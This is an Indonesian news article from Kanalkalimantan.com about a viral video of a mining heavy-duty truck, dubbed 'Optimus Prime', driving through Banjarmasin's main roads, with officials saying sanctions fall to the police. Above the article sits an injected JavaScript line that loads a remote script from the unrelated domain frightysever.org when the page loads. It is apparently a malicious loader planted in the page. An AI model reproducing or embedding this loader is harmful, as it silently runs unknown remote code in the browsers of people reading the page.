(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Viral ‘Optimus Prime’ Masuk Dalam Kota Banjarmasin, Urusan Sanksi Dishub Lempar ke Polisi

KANALKALIMANTAN.COM, BANJARMASIN – Video viral yang memperlihatkan truk Heavy Duty (HD) disebut warganet ‘Optimus Prime’ melintasi jalan utama kota Banjarmasin mendapat sorotan dari sejumlah pihak.

Video tersebut pertama kali diunggah oleh akun tik tok @verdyyamaha pada Rabu (11/1/2023) dan tersebar ke platform Instagram, serta mendapat komentar pedas dari nitizen

Kepala Bidang Lalu Lintas Dinas Perhubungan Kota Banjarmasin, Febry Graha Utama saat dikonfirmasi terkait video viral tersebut menyayangkan truk HD yang biasa beroperasi di areal tambang melintas di jalan kota.

Lebih lanjut dirinya mengatakan, seharusnya truk HD tersebut sesuai aturan harus diangkut dan dikawal oleh petugas jika melewati jalan raya.

“Seharusnya diangkut dan dikawal,” katanya Jumat (13/1/2023).

“Dari dinas akan terus menyosialisasikan terkait peraturan mengenai hal tersebut,” tambahnya.

Terkait sanksi, Febry mengatakan, soal pemberian sanksi tersebut adalah ranah Satlantas Polresta Banjarmasin dan bukan kewenangan pihak mereka.

“Sanksi itu ranah dari Kepolisian dalam hal ini Satlantas Polresta Banjarmasin,” pungkasnya.

Dalam video berdurasi 1 menit 24 detik tersebut truk HD terlihat melintasi sepanjang Jalan S Parman kemudian ke Jalan Brigjen Hasan Basri dan melewati Jembatan Alalak (jembatan Basit) arah ke luar kota.

Badan truk yang besar sangat membahayakan pengendara lain, terlihat pengendara motor ataupun mobil harus menepi dari truk yang memakan lebih dari setengah badan jalan.

Sejumlah masyarakat juga menyangkan aparat kecolongan sehingga truk berukuran besar tersebut bebas melintas di jalan utama kota Banjarmasin.

Tidak sedikit mereka yang mempertanyakan keberadaan aparat keamanan baik dari kepolisian maupun Dinas Perhubungan saat truk HD tersebut.

“Kemana aparat maka dilihatakan masuk kota, maka kada (tidak) pakai pengawalan, mantap tambahi lagi, kada lawas (tidak lama) Exapator PC2000 bejalan sorang dijalan raya,” komentar Aris Setya, salah satu netizen pada video yang viral tersebut. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie